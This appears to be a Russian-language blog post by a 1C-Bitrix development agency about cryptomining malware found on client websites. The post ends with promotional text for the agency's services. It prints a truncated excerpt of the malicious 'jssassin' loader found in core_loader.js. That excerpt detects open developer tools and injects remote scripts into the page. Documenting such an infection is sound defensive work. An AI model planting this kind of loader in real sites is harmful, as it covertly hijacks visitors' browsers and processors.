Вирусы-майнеры на сайтах
Всё началось с того, что к нам обратился наш клиент, которому стали поступать от посетителей жалобы на 100% загруженность процессора при посещении сайта. Причем майнер активизировался только на macbook'ах в хроме. На других проектах, где мы встретили данный вирус он работал во всех браузерах. В подобных ситуациях важно не только удалить вредоносный код, но и своевременно выполнять обновление 1С-Битрикс, чтобы закрывать уязвимости системы.
Мы начали анализировать ситуацию и очень быстро нашли файлы /bitrix/js/main/core/core_loader.js и /bitrix/js/main/core/core_tasker.js
Примерное содержимое:
;(function(window){
window.jssassin = window.jssassin || {
config: {
instpDelay: 400,
startDelay: 1600
},
state: {
scriptsNotLoad: 0,
init: false
},
proc: {
start: function(){},
destroy: function(){}
},
inspInterval: undefined,
init: function (
scripts,
start,
destroy
) {
if (this.state.init) return;
this.state.init = true;
var self = this;
this.checkDevtoolsByConsoleInit();
if (this.isDangerous()) return;
if (typeof start == "function") this.proc.start = start;
if (typeof destroy == "function") this.proc.destroy = destroy;
this.state.scriptsNotLoad = scripts.length;
if (this.state.scriptsNotLoad > 0) {
scripts.forEach(function(src) {
var script = document.createElement('script');
script.src = src;
script.async = false;
script.onload = function () {self.onloadScript(script)};
document.head.appendChild(script);
});
return;
} Данный файл просто удалили. Откуда он появился и как его загрузили на сайт - установить не удалось. Ситуацию взяли на контроль, но скрипт больше не появлялся. В некоторых случаях подобные проблемы возникают из-за устаревших или уязвимых решений, поэтому может потребоваться перенос сайта на Битрикс с более защищённой архитектурой.
Мы будем искать проблему дальше. Если Вы столкнулись с такой же уязвимостью — рекомендуем не ограничиваться точечным исправлением, а провести технический аудит сайта, чтобы выявить источник проблемы и закрыть возможные уязвимости.
Почему мы?
Наши услуги
Мы компания, умеющая не только разрабатывать сайты, но и хорошо выполняем роль субподрядчика на средних и больших проектах. Разрабатываем и внедряем решения на базе 1С-Битрикс / Битрикс24. Всегда боремся за успешное доведение проекта до финала, гибко планируя производственный график.
Наши клиенты
Бренды, проекты которых нам доверяют наши партнеры. Мы работаем с локальными и глобальными компаниями из разных отраслей, что позволяет нашим сотрудникам приобретать уникальный опыт, создавая полнофункциональные решения с учетом особенностей и потребностей бизнеса наших клиентов.